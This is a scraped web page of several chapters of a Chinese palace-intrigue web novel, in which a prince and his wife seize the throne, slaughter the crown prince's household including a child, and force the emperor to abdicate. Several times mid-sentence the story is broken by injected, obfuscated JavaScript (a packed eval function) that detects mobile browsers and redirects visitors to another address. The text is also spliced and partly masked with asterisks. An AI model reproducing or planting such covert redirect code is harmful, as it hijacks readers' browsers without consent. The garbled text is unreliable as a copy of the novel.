萧北铭真是又恼又气,这个大坏人,竟然把自己的夫君和下人放一起做比较,还妄图把我当歌姬! 他没好气儿道, “他们两个那也叫唱歌?那和干嚎又什么区别?” 苏苡安挑眉一笑, “那你嚎一个我听听?” 萧北铭压着深邃的眉眼,意味深长的眸光在她的脸上逡巡: 世上怎么会有这么坏的人啊,我一腔真心待她,她却总是把我当以色侍人的玩物。 真想扒开她的胸膛,看看她长没长心。 萧北铭危险地眯起了眼睛,抬手抚上了她的脸颊,带着薄茧的大拇指指腹碾过了她的红唇,几乎是用气音道, “嚎不了,喘一个倒是可以,你要不要听?” 苏苡安立即拨开了他的大手,转过了身去, “不可以,萧北铭,你别发骚!” 萧北铭揽着她的腰,把人往怀里紧了紧,薄唇附在她的耳畔,威胁意味十足道, “不想浴血奋战,就不要总想着拿你的夫君逗乐子。” 苏苡安内心骂了一句狗男人,竟敢在我最脆弱的时候威胁老子,就认怂地闭上了眼睛: 好女不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422941|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃眼前亏。 不知道过了多久,苏苡安再醒来的时候,床边已经空了。 她拉开床帐,见窗外已经黑了, “萧北铭,萧北铭!” 苏苡安喊了几声,进来的人是却丁香, “主儿,裴公子来了,给你带了红糖醪糟煮鸡蛋,王爷正在客厅招待他,你现在要吃吗?” 苏苡安揉了揉自己刀割一样的小腹, “还真有点饿了,你往里面加二钱益母草,二钱枸杞,三颗大枣,热一下送过来吧。” “是。” 会客厅里,裴思远还在义愤填膺地说着白日里宫里的事, “姐夫,我这个人心直口快,你可别怪我挑唆你们母子关系。 我听我阿娘说,今日良妃娘娘就干看着太子妃为难我姊姊,她都不站出来说句话。 她若是在第一时间站出来,以长辈的身份说句公道话,我姊姊也不至于滑胎。 天底下,哪里有她那样做婆母的? 她是不是看不惯我姊姊,巴不得我姊姊出什么点事,好给她身边的那个外甥女腾位置啊? 真当我姊姊娘家没人了吗?我还活着呢! 只要我还能喘一口气,就绝对不允许别人欺负她。” 萧北铭听着好气又好笑,冷着脸,睨了他一眼,沉声道, “你是吃错药了吗?跑这里来管本王的家事。” 只是这么一眼,裴思远就感受到了来自战神的威压,心中骇然一凛,但是,表面勉强露出一个尴尬的笑容缓解僵局, “我哪里敢管姐夫的家事啊,只是,就事论事而已。 我不是想着你不久就要远赴南疆了吗? 你一去多年,我姊姊一个人留在上京城,不就落在良妃娘娘的手里了吗? 到时候,她一个儿媳妇落在不待见她的婆母手里,不是随随便便就被收拾了? 姐夫你既然深爱我姊姊,就要为她的安危考虑吧? 起码走之前,总得交代良妃娘娘几句吧? 要不然,我姊姊以后的日子可就太难了。” 萧北铭听完这些话,又舒展了冷峻的面容,蓦然温润开口, “谢谢你,阿远。” 第197章 萧二兔继承制 裴思远登时就懵了,镇北王什么时候这么温柔的叫过他的小字啊…… 他眼睛瞪得大大的,怔愣愣地看着萧北铭,只见他正双眸诚挚地注视着自己,薄唇翕动, “谢谢你带巡防营来给镇北王府解围,也谢谢你为苡安思虑周全。 你放心,我不会让自己的媳妇受委屈的。 只是,很对不起你,把你们镇南大将军府,搅进了我和太子的争斗。” 裴思远突然就变得局促起来,紧张得手脚都无处安放了, “姐夫,你别这么说嘛,我阿娘是忠勇侯府养大的孩子,有没有我去镇北王府解围的事情,太子都会把我们看成你的人。 再说,我从小就崇拜您,你是我心目中的大英雄。 有没有我姊姊这层关系,我都不能对镇北王府的危难袖手旁观的。” 裴思远说着话,就涨红了脸,因为他觉得自己有点肉麻。 萧北铭也是没想到,自己从来也没给过什么好脸色的后生,竟然会崇拜自己, “别干说话了,吃点心吧。” “嗯!” 裴思远拿起茶几上的点心,开心地一整块塞进了嘴里, “姐夫,你发现没有,我自从来你们这里蹭吃蹭喝,都长高了好多。” 萧北铭目光柔和地看着他狼吞虎咽,就像这辈子没吃过东西似的。 一个大馋小子,能有什么坏心眼子呢,一腔真诚罢了。 苡安看人的眼光不错,他很值得交。 “你还能再长几年呢,多吃点。” “嗯!” 裴思远又突然转变了话题, “姐夫,你有没有乌三的消息,她阵亡了没有啊?” 萧北铭有心逗弄他,煞有介事地说道, “她一个小小的十夫长,阵亡不阵亡的,消息到不了我这里,你得去问乌二。” “呵呵,呵呵~” 裴思远傻笑了两声,乌三什么人啊,她可是乌二嫡亲的妹妹。 她若是出事,镇北王不可能不知道。 没消息,就是好消息。 “我猜她是死不了,毕竟祸害遗千年嘛。 姐夫,我走啦,我阿娘还在家等我呢,我不回府,她都不敢睡觉。” 萧北铭十分理解他阿娘的心情。 儿子突然闷声不响地搅入了夺嫡之争,皇上会怎么处理此事还未可知,镇南将军府的前路不明朗,她哪里还能睡得着啊? 萧北铭站起了身,搂住了他的肩膀, “我送送你。” 裴思远受宠若惊, “不用,不用,姐夫留步。” 萧北铭还是送了裴思远一段路,又转头,去了萧晏的院子里。 因为他刚刚路过院墙的时候,听见了里面有磨刀的声音。 彼时,萧晏已经知道了娘亲今日在宫里被太子妃欺负到滑胎的事情。 现下,正拉着一张小黑脸,眼神满是杀意地坐在地上,借着月色磨着一把小**: 等下次进宫,他要把这小刀藏在袖子里,带进宫去,刀了太子妃! 萧北铭进来,他头都没抬,反正他已经准备赴**,没必要再卖力讨好这个男人了。 等他刀了太子妃,他就自尽。 这次投胎,他一定会看清楚了,投到娘亲的肚子里,不会再认错人了…… 萧北铭看着小东西浑身冒杀气磨刀的模样,心里咯噔一下: 这架势,不就是小时候的自己吗? 他这么大的时候,每次受气了想**,就一个人半夜起来独自磨刀…… 萧北铭冷然质问, “你想杀谁?” 萧晏头也没抬,淡道, “没有想杀谁,半夜睡不着,找点事情做而已。” 好嘛,被抓包回复的话语和态度,都和自己当年一模一样。 萧北铭没有再言语,转身出院门,信步走去了镇北王府。 镇北王府里,尸体已经收拾干净了,血腥气味,却是还没有散尽。 泥土混合着血气,味道腥臭刺鼻,一阵风吹来,灌入他的鼻腔,让他想起了在北疆戍边的那十年。 每日呼吸的都是这种充满了杀戮的味道。 对于他这种五感比常人敏锐太多的人来说,刚去北疆之时,真是遭罪了大罪了,每日都被血腥气熏得吐得昏天暗地。 一度被北疆的将士暗中嘲讽,说他是娇贵的小皇子,吃 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你的将士可以以一敌十,八百打五千没有问题,是逼宫的最好时机,错过这个村,就没有这个店了。” 萧北铭感慨她的敏锐,同时,也蹙起了眉头, “杀了太子和宁王,我有十成十的把握。 只是,逼父皇退位,我没有多大把握。 父皇性格强势,又最看重亲情,而我又真的不想伤了他。” 苏苡安笑一笑,计上心头, “那就把父皇迷晕,把他软禁起来,让他看不到自己的儿子掉脑袋,眼不见,心不烦。 我再仿写一道退位诏书,不就是走个形式吗,就不劳烦他老人家亲自动笔了。” 萧北铭不置可否,只是揽她入怀,把头埋在她的颈窝。 还好,她是支持他的,让他被道德束缚的痛,又少了几分。 “我准备在皇后出殡的那天动手。 过两天,你带着小东西,去庄子上避一避。 万一,我是说万一我失败了,你就赶快远走高飞。” 第198章 请父皇退位! 失败? 如今,太子的护卫军空无一人,父皇身边只有五千御林军。 而我们这边,足足有八百能以一敌十的府兵。 怎么会失败? 这不正是说漂亮话的绝佳时机吗? 苏苡安抿唇一笑,贴在他的耳畔,轻声道, “远走高飞?我疯了吗?你知道我在上京城的资产值多少钱吗? 光是你这个千金不换的绝色美男,我就有一万个理由抛不下。 不就是逼宫嘛,我陪你一起干。 晏儿也不用躲出去,因为,咱们夫妻连心,其利断金,绝对不会失败的。” 萧北铭双眸湿润了,他原本以为,她这么重利的一个商人,知道他要做那么危险的事,一定会毫不犹豫地躲出去的。 没想到,她竟然愿意跟他一起干,他很感动, “大事若成,我和江山,都是你的,你是我的,若败,我们共赴黄泉,来世再聚。” “好,你说的,不能变卦哦。” “至死无悔。” “空口无凭,我要你黑纸白字,给我立誓书。” “好。” 萧北铭二话不说,就着书案上的笔墨纸砚,马上就写了一纸誓书。 苏苡安美美的表情折好誓书,收到了袖子里。 有了这个东西,以后,她可以为晏儿要一块富庶的封地,早早分封出去。 到那时候,她这辈子能为他做的事,也就做尽了…… 皇后出殡当日,镇北王和镇北王妃,带着八百府兵,杀进了皇宫。 太子妃抱着萧珩,瑟缩在角落里,哭求苏苡安放过, “我们曾经也是朋友,我们还一起做糕点,一起喝茶聊家常。 珩儿还叫过你婶婶,你还抱过他,求你,看在过去的情分上,放过我们母子吧。” 苏苡安冷笑一声, “你在搞笑吗?我们是在逼宫,你却跟我谈旧情?过家家呢? 你们东宫,无论妻妾嫡庶,一个都别想活。 走好,不送!” 苏苡安果决地一剑刺过去,再一转一拔,喷了萧珩一脸血。 萧珩吓得嗷嗷大哭,“三婶婶,求你了,不要杀我!” 苏苡安脸上的冷笑不敛, “首先,我是你二婶婶。 其次,你骂过晏儿是小野种,还说长大要杀了他。 有没有这次逼宫,老子都不能让你这祸害活着长大。 下辈子投胎,注意些,投个能护住你的父母,好好做人,不要这么猖狂!” 话毕,一剑刺下去,再走向下一个。 不多时,东宫入目所及,再无活口。 野火烧不尽,春风吹又生,一旦东宫留下什么遗腹子,以后就会有**打着匡扶幼主的名义举兵**,后患无穷。 甚至,都不需要那个遗腹子是真实存在的。只要是东宫出去的女的,活的,都可能会被有心人利用,决不能让那样的麻烦事发生。 苏苡安举剑,朗声招呼将士们, “把你们眼睛睁大些,再仔细检查一遍,一个活口都不能留下! 蚂蚁窝拿开水烫死,鸡蛋都摇散了,蚯蚓从中间劈两半!” “是!” 将士们又把东宫翻找了一遍,确认没有活口了,才再次打开了东宫的大门。 苏苡安带人走出东宫,东宫外面,也是满地尸骸,都是御林军和宫女太监的。 镇北军的战斗力,真是强得可怕。 彼时,高升带着一队人迎了上来,抱拳汇报道, “王妃,我那边也完事儿了。” 苏苡安一招手,春风得意地笑道, “走,去勤政殿支援王爷!” 乌二正立着**,带着人,守在勤政殿门口。 苏苡安跑过来问他, “王爷进去多久了?” “一盏茶的功夫。” 苏苡安点点头,“那咱们再等等。” 勤政殿内,萧北铭一身银白铠甲染血,持剑单膝跪地,脊背笔直,满面肃杀之气,目光灼灼地看着父皇,声音里充满了坚决, “父皇,该退位了。” 彼时,萧昀端坐在龙椅上,极力保持一个帝王的尊严和体面。 尽管已经心痛得无法呼吸了,他还是让自己看起来帝王威仪万千, “如果朕不退呢,你还要弑父不成?” 萧北铭压着眉眼,眸光寒凉,一字一句道, “退与不退,过了今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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身上带着随时都可能会发作的热毒,面对北幽玄铁营随时都能杀过来的铁骑,还有镇北军随时都会短缺的粮草…… 父皇,你可曾想过,我是怎么活下来的?” 萧昀一直在极力忍耐的泪水,终于夺眶而出,这是他长这么大,第一次跟他诉苦,大概,也是最后一次, “你从没跟朕说过这些,如果你说了,朕不会放任不管的。” 第199章 你不是苏家女吧? 萧北铭满眼哀伤,哽咽道, “如果我说了,我就会变成别人眼中一个吃不得戍边之苦的矜贵皇子。 父皇大抵会让我回上京解毒,从此,我带不兵,就成了你眼中的废物老二。 我怎么会说出口? 直到我实在是拿不起剑,上不去马了,我才带着战功和战神的名号回上京等死。 即便是那样的我,也还是没有足够的药材续命,哪怕只是普普通通的**,都没有…… 父皇,你知道,我那时候,每日都躺在冰窖里等死,有多痛苦吗…… 能让父皇关爱有加,无限容忍的,只有你的嫡长子,只有他,才是你的儿子。 即便他文武都不如我,对国家没有尺寸之功,还屡屡刺杀我,父皇依然要传位给他。 还要让我为他打江山,守江山,奉献一生。 我不愿!我不服!” 萧昀两眼认命地一闭,控制了自己的泪水,许久才睁开, “将来,你有了很多儿子,就能理解父皇的为难了,即便晏儿样样都出色,你也会把皇位传给自己的嫡子。” 萧北铭抽泣了一下,低哑的声音道, “谢父皇……” 萧昀又道, “最后,你再答应朕一件事情。” “父皇,请讲。” 萧昀眸光中迸发出了坚毅的光芒, “攻下百越,那是朕毕生的心愿。” 萧北铭郑重道, “是!定让百越并入我南离的版图!” 萧北铭终于从勤政殿走了出来,手里握着一卷圣旨,对乌二说, “送太上皇,移居寿康宫!” “得令!” 苏苡安勾唇一笑,冲过去送给了萧北铭一个大大的拥抱。 萧北铭紧紧地搂着她,悬着许久的心,终于落地了。 以后,再也不用担心会和她分开了。 萧昀的身子骨,极速垮了下来,去了寿康宫就卧床不起了。 萧北铭带着苏苡安,去给父皇看诊。 苏苡安凝神,给他切脉。 她看过皇上的脉案,他年轻的时候,征战沙场,受过多处外伤和内伤。 鉴于这些年将养得不错,看上去,身子骨很健壮。 只是,现在感染了一次天花,身体抵抗力下降,各种沉疴旧疾都找上门来了。 加上又受了这么大的打击,健康迅速恶化,怕是寿数难长了。 她能做的,也只是尽人事,听天命了。 萧昀盯着一脸认真把脉的苏苡安,蓦然开口, “你不是苏家女吧?那个傻傻的苏家女,被你们弄哪里去了?” 苏苡安掀起眼帘,看着他,抿唇一笑,俏皮道, “我不傻吗?我不傻,会嫁给你的暴脾气儿子,给晏儿做后娘吗?” 萧昀苦笑一声, “后娘?我看未必。 事到如今,你们也没必要再隐瞒我了。 晏儿就是你亲生的吧?” 苏苡安真是笑大发了, “我也希望晏儿是我亲生的,但是,你儿子没本事让我在千里之外怀上他啊。” “咳咳!” 萧北铭握拳放在唇边虚咳两声,心中嗔怪不已: 她真是嘴上没把门的,什么没羞没臊的话都跟长辈说。 萧昀见她说话这么没羞臊,也不好意思再继续追问下去了。 苏苡安的目的,又达到了。 苏苡安诊过脉之后,就去煎药,而后,又带着萧楚钰端着汤药进来了。 萧昀见到萧楚钰,又激动起来,晦暗的眸子,有了神采,他没想到,老三还活着。 他竟然容得下老三…… 萧北铭恭敬地说, “父皇,我让老三留在宫里照顾你,直到你康复为止。” 萧楚钰到现在,还不相信自己从二皇兄的利刃下偷生了。 当时,镇北王府的府兵冲进来,见人就砍,手起刀落,一刀一个,场面极其骇人。 他吓得腿软,都跑不动,就瘫在那里等死,不曾想,人家都对他视而不见…… 彼时,萧楚钰端起药碗,到床边坐下,舀起一勺药,吹了吹,才送到了父皇的嘴边, “父皇,吃药了。” 苏苡安对他说,只要他把父皇伺候得能下地了,她就让他的女儿入玉牒,做个名正言顺的小郡主,他怎么能不尽心呢。 乌二把从宁王府搜查出来的几样东西呈给了萧北铭, “皇上,这是从宁王府搜出来两个行厌胜之术的小人,一个刻着你的生辰八字,一个刻着陨太子的生辰八字,还有好多符咒,不知道是干什么的。” 萧北铭蹙眉,“去找个大师,处理一下。” “是,还在宁王的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧晏撅起嘴,眼泪汪汪,软糯糯地道, “以后,让我叫你娘亲。” 苏苡安:…… 这个小东西,都会算计老子了…… “行行行,你爱叫啥叫啥吧,这次,老子就算是栽在你手里了。 快点起来,随我进宫去做你的大皇子吧!” 第200章 我们是有母子缘分的 “娘亲~” 萧晏咧嘴,嘶哑哭喊了一声,着急忙慌地从被窝里爬起来,扑到了苏苡安的怀里,哭个不停。 经年有个娘亲的愿望终于达成,他不停地喊着娘亲,嘤嘤嘤地哭湿了苏苡安肩膀的一大片衣衫。 苏苡安也被小家伙的真情实感感染得眼眸湿润,心中悔不当初: 不就是让他喊一声娘亲嘛,我也不少块肉,我却一而再再而三地推脱,让孩子这么小的愿望都实现不了,瞧瞧给孩子难受的,我可真不是个东西啊…… 萧晏哭罢多时,才从被窝里掏出来一个小木雕,双手奉上, “娘亲,这是我给你雕的生辰礼物,可惜,那天你们都进宫干大事了,今天才能给你。” 没关系,反正,那也不是我的生辰…… 这话,苏苡安没说出口,只是接过了木雕。 雕刻的是一个母亲抱着襁褓中的婴儿。 萧晏哽咽道, “娘亲,我终于找到你了,以后,我们娘俩永远都不分离了,好不好?” 苏苡安就觉得喉咙里堵着一团什么东西,难受得紧,努力咽了咽,才笑道, “好啊,想不到,我们的晏儿还有一身艺术细菌呢,雕得真好,我很喜欢。” 萧晏一脸懵然,“艺术细菌是什么?” 苏苡安挑眉笑笑,“就是满腔才华。” 萧晏连连点头, “对,我是有一身艺术细菌。 我从小就会用泥巴捏娘亲,搂着娘亲睡觉。 还会用树枝在地上画娘亲,躺在娘亲的怀里,听小鸟叫,假装是娘亲在给我唱歌。” 苏苡安把眼眶里的泪水忍了又忍,实在不想进行这个让她心肌梗塞的话题了,就问他, “我和你爹逼宫,吓到你了没有?” 萧晏摇摇头, “我是在军营里长大的,从不怕血腥。 是那些人一而再再而三地欺负咱们,是他们自己找死的,咱们狠狠地杀回去,是应该的。 咱们是做武将的,不用学那些酸腐文人假惺惺地讲什么‘忍一时风平浪静,退一步**’亦或者‘以德报怨’之类的言论。 就连魏严都知道,忍无可忍,无需再忍。 咱们根本没必要委屈自己,全了一个虚假的好名声,遇到不公,干就完了。 那些人都是镇北王府的仇人,手刃仇人,是一件很正常的事。 他们欺人太甚了,几度想置咱们于死地,即便你们不斩杀他们,我以后也会找机会自己动手杀了他们的。 实不相瞒,我刀都磨好了。” 苏苡安听着晏儿和自己十分对路的言论,好像从他的身上看到了自己的影子。 他们两个人,对人对事的态度,简直如出一辙,真真是有母子缘分的, “有你老娘在呢,**这种事,还轮不到你动手,不过,我想看看你的刀。” 萧晏从枕头底下拿出小**给她看。 苏苡安两根手指一夹,就把小刀子掰弯了, “就这破铁片子,杀条鱼都不行,换这个。” 苏苡安从袖子中掏出她削铁如泥的短刃给他,这等大宝贝,给儿子做改口礼,也将就配得上, “你现在长大了,以后就不用小木剑,小木枪了,改用真家伙。” 萧晏看着刀把上的‘铭’字,厌弃的意味毫不隐藏地就从眼神里流出来了, “咦呀,我才不要他的东西。” 苏苡安立即反驳, “什么他的啊?这是我的,我凭本事赚回来的。” 萧晏这才舒展笑颜,双手接了过来, “既然是娘亲的刀,那我收了,以后,我就用这把刀保护你,谁欺负你,我就捅死他。” 苏苡安摩挲着他的发顶,眼神满是宠溺, “哇,我们晏儿,已经是个可以保护娘亲的小小男子汉了,只是,真的不用你去捅死谁,因为,我比你更擅长用刀保护自己。” 萧晏听她自称娘亲,开心得不得了,又搂着她的脖子,埋头于她的肩膀,抱了好久,叫了好久, “娘亲,娘亲,娘亲……” 好像要把和娘亲从前错过的那些年,都找补回来一样。 苏苡安抱着萧晏出门的时候,铁柱和丁香带着一群丫鬟小厮,正大包小包,开开心心地等候在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422945|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院子里,准备和她一同进宫。 苏苡安不动声色地看了看丁香: 这个大嘴巴,再说出点什么,晏儿搞出更大的动静,就要萧北铭知道了。 我好不容易缓和的父子关系,就一夜回到解放前了。 思及此,她说道, “你们都留守郡主府,以后,我还有重要的事要交给你们办。” 丁香上前一步劝说道, “主儿,你至少带着我和铁柱吧,近身伺候总要有个人啊。” 苏苡安看在过去的情分上,都没好意思告诉她: 防的就是你。 “不用,我没那么矫情,自己能伺候自己。” 苏苡安把萧晏带回皇宫,径直就去了寿康宫,让他哄哄太上皇。 太上皇这次心灵受得创伤可不小,若是能心情好些,也能多活几年。 萧楚钰正侧坐在床榻上,给父皇喂药,见他们进来了,连忙起身打招呼, “皇嫂,晏儿。” “皇爷爷,我来照顾你啦~” 萧晏甜笑着就跑了过去,接过了萧楚钰手中的药, “三叔,你歇着,让我来。” 萧楚钰连忙给他让路,一瘸一拐的。 苏苡安见状,就问,“你这腿怎么瘸了?” 萧楚钰讪讪地笑道,“没瘸,腿麻了而已……” 苏苡安说,“左腿麻就甩右手,右腿麻就甩左手。” “啊?”萧楚钰一脸懵然。 苏苡安一撇嘴,“让你甩你就甩,我还能害你不成?” 萧楚钰虽然不理解,但是,照办,因为,他真的不敢不听话。 甩了几下右臂,果然,左腿刺痛胀麻的感觉就消散了,由衷地说道, “你这偏方,厉害啊。” 苏苡安白了他一眼,“什么偏方?我这方子正得发邪!” 萧楚钰立即就怂得不敢反驳了,只是强行挤出笑, “对,正得发邪……” 乌二听说侍卫来报,皇后回宫了,就是等不到人回勤政殿,就只好找来了寿康宫, “皇后娘娘,我有事要等你定夺。” 苏苡安很爽快, “说。” 第201章 皇上皇后都鸡贼,我太难了…… 乌二瞟了一眼萧昀,有些话,他不好让太上皇听见, “请皇后娘娘移步勤政殿。” 苏苡安坦然道, “那你等会,我半个时辰以后回去。” 她不确定太上皇内心是怎么看待晏儿的,也不觉得他被儿子从皇位上赶下来,真的能打心里放下,对孙子做出什么泄愤的事,也未可知。 她必须要亲自在这里陪着晏儿尽孝,才能放心。 彼时,乌二静静地等在这里,心中怨艾颇深: 皇后一直在装傻,放在她书案上的后宫内务,她看都不看一眼,一样都不接手。 那些活儿难道要指望**吗? 可我又不是内务府大总管,我一个武将以后也不能住在宫里,我怎么管后宫的事啊? 再说,皇上干嘛不自己跟皇后提这些事儿啊,非要让我跟皇后说。 得罪人的事都让**,皇上真是好鸡贼啊。 哎呀,我太难了…… 萧昀喝着药,突然开口问乌二, “这次逼宫,你们的战损有多少?” 乌二从自己抱怨的碎碎念中抽离,抬眸对上抱拳, “回太上皇,镇北军实际出战七百九十人,阵亡一百一十九人,重伤一百五十人,轻伤三百八十人。” 萧昀眼眼眸晦暗,意味深长道, “差一点点……” 他内心颇为遗憾: 差一点点,他就守住皇位了,只要他手里再多一点点御林军…… 乌二不卑不亢地反驳道, “回太上皇,我们镇北军,每次和北幽玄铁营对战,都是以少胜多。 这种程度的战损,这样艰难的仗,皇上带着我们打了十年,北幽人没能夺走南离的一寸疆土。” 萧昀被戳了肺管子,脸色突然就不好了。 苏苡安见太上皇还对前朝之事意难平,决定给他找点事情做, “父皇,我告诉你一件很开心的事,贤太妃,有身孕了。” 萧昀简直是又惊又喜, “她有身孕了!那怎么可能?她那么多年,都没有过孕……太好了,太好了……” 这一胎来得好是时候,可以慰藉他的丧子之痛。 苏苡安又道, “已经三个月了,之前,贤太妃怕被人陷害滑胎,故而一直都不敢说出口。 父皇想知道为何贤太妃进宫多年都没有孕吗?” 萧昀迫不及待地追问, “为何?” 苏苡安道,“贤太妃被人灌过红花。” 萧昀有些激动,“谁?谁那么大胆子!” 苏苡安颓然摇头, “我不知道诶,她不肯跟我说。 父皇从前忙于政务,也没时间管后宫的事,后宫的娘娘们啊,受的委屈多了去了。 如今,父皇闲下来了,等你好养病,就好好和娘娘们说说话吧,为她们主持主持公道。 正义可以迟,但是,一定要到。” 苏苡安给萧晏递了一个眼神,萧晏马上乖巧地道, “皇爷爷,喝药啦,等你喝完药,病好了,就可以去为她们主持公道了~” 苏苡安才不打算插手后宫的事情,都给太后管。 要不然,太后没事儿干了,就要来给她找事了。 但是,也不能让她太得意了,就得让太上皇参与进去。 光是那些陈芝麻烂谷子的事情,就够他们掰扯许久了。 他们在后宫,怎么掰扯都好,别来烦她就行。 萧晏给皇爷爷喂了药,又说了好一会儿安慰和贴心的话,苏苡安才牵着他的小手离开。 到了寿康宫门口,苏苡安又吩咐守卫, “不管是太后还是太妃,一律不许探视太上皇。” 两队侍卫齐齐抱拳, “得令!” 现在,太上皇痛失儿子,可不能让他起了制造新儿子的念头,要不然,神仙来了,也挽救不了他的健康了。 回去的路上,乌二就跟苏苡安说起了让他接手后宫内务之事。 苏苡安没搭话,乌二也就识趣地没再劝,因为,他知道规劝没用。 只是默默放慢了脚步,跟在他和萧晏的后面,一起回勤政殿。 萧北铭正在御书房埋头于公务,见他们三个进来了,抬起了头,但是,手中的毛笔没有放下。 苏苡安拍了拍萧晏的后背,萧晏端出了他最恭敬的态度,上前一步,跪地行大礼, “孩儿给父皇请安。” 萧北铭淡道,“起来吧。” 苏苡安走过去,在萧北铭旁边给她预留的椅子上坐下,35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422946|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“跟你商量一件事呗?” “什么事?” “晏儿跟咱们一起住勤政殿吧,把他放在后宫,我怕有人害他,实在不放心。 反正,勤政殿这么大,几百人都能住下,不差他一个。” “嗯。” 苏苡安见他答应得爽快,也很开心,抬头示意萧晏了一下, “跟你二叔叔去挑个房间吧。” 萧晏开开心心跟着二叔叔走了,就想挑一个离娘亲近的房间,但是,无论挑哪一间,乌二都摇头。 直到萧晏垮着小脸选择了一个绝对听不见主殿夜里动静的房间,乌二才点头同意。 乌二心中抱怨不迭: 皇后也太鸡贼了,得罪孩子的事情,都让我做。 我虽然挺有力气的,但总是这么背黑锅,也受不了啊。 还好晏儿没有刨根问底为什么不能住太近,要不然,我怎么跟他解释? 我太难了…… 御书房里,苏苡安现在的举动更鸡贼,她把所有内务都打包,往外一推, “来人,都给太后送去。” 萧北铭好意外,“你是准备做个甩手皇后了?” 苏苡安笑道, “照顾太上皇一个长辈就够我受的了,后宫一群太妃,全是长辈,整日关心她们的吃喝拉撒,衣裳头花之事,不得给我烦死? 要管啊,我替你管御林军,我负责他们的日常训练,如何?” 萧北铭微微颔首, “只要不怕累,以后御林军就你说话算了。” 萧北铭又把桌面上的一个盒子递给她, “你看看这个方子,是从宁王的书房搜出来的,他似乎很宝贝地藏着。” 苏苡安展开药方认真地把上面的一百多种中草药从头看到尾, “这就是热毒的配方,真够精细的,多一点少一点,都达不到那么长久的药效。” 萧北铭蹙眉, “原来是他干的,他那时候,还是个孩子呢。又搞巫蛊又下毒的,还真是难为他了。” 苏苡安点点头,“宁王的手段确实比太子厉害一些,若他是太子,你可能还干不过他呢。” 萧北铭动情地握住了她的手, “多亏有你,要不然,我就被宁王下的热毒干掉了。” 第202章 中宫表笺 苏苡安看着他透着爱意的漆黑双眸,甚是迷人,好似能把她的心脏击穿。 世上怎么会有这样勾魂的男人啊,还让我在他最美好的年华遇上了。 我的命真好。 苏苡安诚心想逗他玩,莞尔一笑,戏谑道, “诶?你不说,我还忘了,你还欠着我诊费呢,这世上,没有人能欠我的钱,快还钱!” 这世上没人能欠她的钱,他偏偏要做她的那个特例。 萧北铭把她揽过来,颔首在她的额头落下一吻,温声细语道, “先还五文钱,剩下的,以后慢慢还。” 苏苡安抿唇一笑,眯起眼睛看着他,嗔怪道, “挺大个人还赖账~” 萧北铭从书案上拿给她一个折子: “补给你的生辰礼。” 她过生辰那天,正好是他们逼宫的日子,他连句祝福都没有送,但是,要送的生辰礼,他更久之前就放在心里了,今日总算能送出手了。 苏苡安瞧着折子上的四个字: 中宫表笺 打开一看,里面竟然是空白的。 苏苡安一脸狐疑地看向他,“这是……” 萧北铭解释道, “中宫表笺,是逢年过节的时候,皇后给皇帝祈愿的折子。 把你的愿望都写上去吧,我都帮你实现。” 苏苡安缓缓展开折子,足足十几折空白页,结尾那一页,已经朱批写了‘准奏’二字。 苏苡安开怀地笑出了两个小酒窝: 这愿望清单,有霸总甩出一张空白支票让女主随便填那味儿了。 还别说,这感觉还挺爽的,情绪价值满满,这谁遭得住啊~ “你还挺会玩的,这个生辰礼物,我很喜欢。” 萧北铭见她开心,内心也无比满足, “过年的时候,见你那么卖力地吃饺子,想吃到那枚铜钱。 我当时就想,我要是皇帝就好了,你就不用这么辛苦了。 这是我登基后批准的第一份奏折,既是你的心愿,更是我的心愿。” 苏苡安鼻腔一酸, “你这么会说话,不要命啦?” 萧北铭含情脉脉地注视着她,深情款款地道, “你就是我的命啊,我怎么会不要命?” 苏苡安突然意识到,在说漂亮话这方面,她好像遇见对手了。 关键,她自己是点灯熬夜背诵的情话宝典,而他,完全是天赋型选手,她好像输给他了…… 就在苏苡安愣神的片刻,萧北铭又吻了过来,温热的唇覆上了她柔软的唇瓣。 苏苡安一个激灵,立即推开了他,紧张地看了一眼门外。 她担心晏儿会突然过来,看到这些儿童不宜的一幕。 但是,她又担心萧北铭看出来她拒绝他是顾及晏儿,再迁怒他,把他撵出勤政殿。 目光就马上回落在他刚刚在写的折子上,看到了他正在拟定新的朝臣名单, “你先忙着,我找个凉快的地方,好好想想我的愿望清单。” 萧北铭拉着她的手, “就在这里想,陪着我。” 